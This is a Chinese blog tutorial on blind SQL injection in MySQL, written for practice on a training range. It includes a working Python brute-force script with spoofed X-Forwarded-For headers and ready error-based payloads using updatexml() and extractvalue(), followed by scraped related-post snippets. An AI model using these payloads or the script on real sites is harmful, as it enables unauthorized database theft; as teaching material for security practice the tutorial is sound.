参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7427bfd6ef65c57c243c3858&chksm=e89e338cdfe9ba9af773822e0850a429d54aff8ec3a21ac5995c4ba4ff8a123db04f6fa254e5&mpshare=1&scene=23&srcid=0731umT6uztdSffKNMnZjRTX&sharer_sharetime=1596153909988&sharer_shareid=4b5c9eed7ae6c09030306744642036f1#rd


盲注就是在 sql 注入过程中,sql 语句执行的选择后,由于开发人员的安全操作,并未把明显的错误返回到前端,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:

  • 基于布尔 SQL 盲注 正常情况下返回一个界面,非正常情况下返回另一个界面,但是并未把SQL报错的信息显示出来

  • 基于时间的 SQL 盲注 正常和非正常都返回一个界面,只能通过判断返回时间来注入

  • 基于报错的 SQL 盲注 通过一些MySQL的函数,强制让数据库报错并返回


基于布尔 SQL 盲注

这里先得简单介绍几个MySQL中的基础函数,方便下面理解

left()mid()substr()left()

我一般只用mid()函数,其余的函数你可以去文章开头这篇文章去看,大佬写的比较详细,函数大概的语法如下

mid()函数

mid(column_name,start[,length]),此函数为截取字符串一部分。

参数:column_name :必需,要提取字符的字段。

start:必需,规定开始位置。

length() : 可选,要返回的字符数。如果省略,则mid()函数返回剩余文本。

这个盲注吧,你总不能真的一个个去试吧??最笨也是最聪明的方法,就是花几分钟,写个python脚本。

下面我们直接找个靶场练习练习

 在线靶场:http://43.247.91.228:84  ,我推荐自己下一个sql靶场,网上有很多源码和安装教程,十几分钟就可以弄好。 

第五关就是布尔盲注,我这里先简单试了试,就直接写了个py拿脚本跑了,下面附上代码。先查看数据库的总体长度,在一个个爆破

import  requests
import random def random_headers():#生成随机headers
user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
UA = random.choice(user_agent)
a = str(random.randint(1, 255))
b = str(random.randint(1, 255))
c = str(random.randint(1, 255))
random_XFF = '127.' + a + '.' + b + '.' + c
random_CI= '127.' + c + '.' + a + '.' + b
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': UA,
'X-Forwarded-For': random_XFF,
'Client-IP':random_CI,
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
"Referer": "http://www.baidu.com/",
'Content-Type': 'application/x-www-form-urlencoded'}
return headers # 查看当前数据库的名称长度
for len in range(100):
urll = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20%20 length(database())='+str(len)+'--+'
r = requests.get(url=urll, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(len)
break # 盲注
x=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
for ii in range(8):
ii=ii+1
# print(ii)
for i in range(26):
url = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20mid(database(),'+str(ii)+',1)=%27' + x[i] + '%27%20--+'
# print(url)
r = requests.get(url=url, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(x[i])
continue

 基于报错的盲注

基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有floor()报错、exp()报错、updatexml()报错

exp报错:根本不建议使用,对版本要求太高

select exp(~(select * FROM(SELECT USER())a));

用法介绍:updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值

需要注意的是XPATH语法报错的是那些特殊字符,遇到特殊字符会报错,所以选择了ascii码为0x7e的字符~

另外,updatexml最多只能显示32位,需要配合SUBSTR或者reserve使用

mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~' //假设数据库名过长看,使用substr()
mysql> select updatexml(1,concat(0x7e,(substr((select database()),1,5)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'
mysql> select updatexml(1,concat(0x7e,(substr((select database()),5,12)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~rity~'
//报错表内数据名
mysql> select updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

在注入时的用法

1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)

extractvalue报错:同updatexml一样,限制长度也是32位


用法介绍:EXTRACTVALUE(XML_document, XPath_string);


函数解释:

  extractvalue():从目标XML中返回包含所查询值的字符串。  EXTRACTVALUE (XML_document, XPath_string);   第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc   第二个参数:XPath_string (Xpath格式的字符串)  concat:返回结果为连接参数产生的字符串。    0x7e:ASCII码,实为~,extractvalue()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,

mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~security~' mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema~' mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~8cmsdata~'

在注入时的用法

1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))

贴出各个报错注入可以实现的各个版本要求




 
 
 
 
 

SQL注入----盲注总结的更多相关文章

  1. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  2. 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...

  3. SQL注入 盲注

    来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚 ...

  4. 防sql注入 盲注等措施 ESAPI的使用

    SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范S ...

  5. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  6. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  7. sql bool盲注

    [CISCN2019 总决赛 Day2 Web1]Easyweb 考察: robots.txt image.php?bak文件泄露,image.php.bak可以下载别的不大行 盲注 php日志挂马 ...

  8. SQL注入 手注与联合注入

    SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令:            得到数据库用户名和密码 1:在以,{ .asp?id=32( ...

  9. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

随机推荐

  1. SQL server分页的四种方法(算很全面了)

      这篇博客讲的是SQL server的分页方法,用的SQL server 2012版本.下面都用pageIndex表示页数,pageSize表示一页包含的记录.并且下面涉及到具体例子的,设定查询第2 ...

  2. 我与PHP和git不得不说的故事(梦开始的地方,从入门到放弃记录第一章)

    ·关于下载 阿瑶瑶跟wampsever官网搏斗了一下午,其实我觉得教材可能在PUA我.谷歌说它给的网址安全证书过期,然后下载以断网收场.(阿瑶的第一战,以失败告终) [经过我玲姐指点,下载路径变为迅雷 ...

  3. kali查看本机ip

  4. JZOJ2020年9月12日提高B组反思

    CSP第1轮倒计时:29天 JZOJ2020年9月12日提高B组反思 T1 放在T1却是最难的一题 明显需要高精度 但是我小学奥数没学好,不知道怎么把正有理数转化成分数 T2 明显的DP 可惜的是我文 ...

  5. 一种更优雅的Flutter Dialog解决方案

    前言 系统自带的Dialog实际上就是Push了一个新页面,这样存在很多好处,但是也存在一些很难解决的问题 必须传BuildContext loading弹窗一般都封装在网络框架中,多传个contex ...

  6. 如何利用小熊派获取MPU6050六轴原始数据

    摘要:使用小熊派开发板,通过硬件IIC与MPU6050六轴传感器模块通信,完成相应寄存器配置,成功获取陀螺仪.加速度计数据. 本问主要讲述使用小熊派开发板+MPU6050六轴传感器,获取加速度计以及陀 ...

  7. moviepy音视频剪辑:headblur函数遇到的TypeError: integer argument expected, got float错误的解决方案

    运行环境如下: python版本:3.7 opencv-python版本:4.2.0.34 numpy版本:1.19.0 错误信息: 在调用moviepy1.03版本的headblur函数执行人脸跟踪 ...

  8. 老猿学5G:3GPP 5G规范中的URI资源概念

    ☞ ░ 前往老猿Python博文目录 ░ 说明: 本文参考3GPP29.501<Principles and Guidelines for Services Definition>结合笔者 ...

  9. Python基础篇学习感悟:学如不及,犹恐失之

    从2019年3月底开始学习Python,4月12日在CSDN发表第一篇博文,时至今日已有4个月零12天. 4个多月的学习,老猿从一个Python小白成长到今天,可以说对Python这门语言已经略知一二 ...

  10. 第15.13节 PyQt(Python+Qt)入门学习:Qt Designer的Spacers部件详解

    一. 引言 在Designer的部件栏中,有两种类型的Spacers部件,下图中上面布局中为一个水平间隔部件(按钮1和按钮2之间的部件),下面布局中为一个垂直间隔部件(按钮3和4之间),如图: 这两种 ...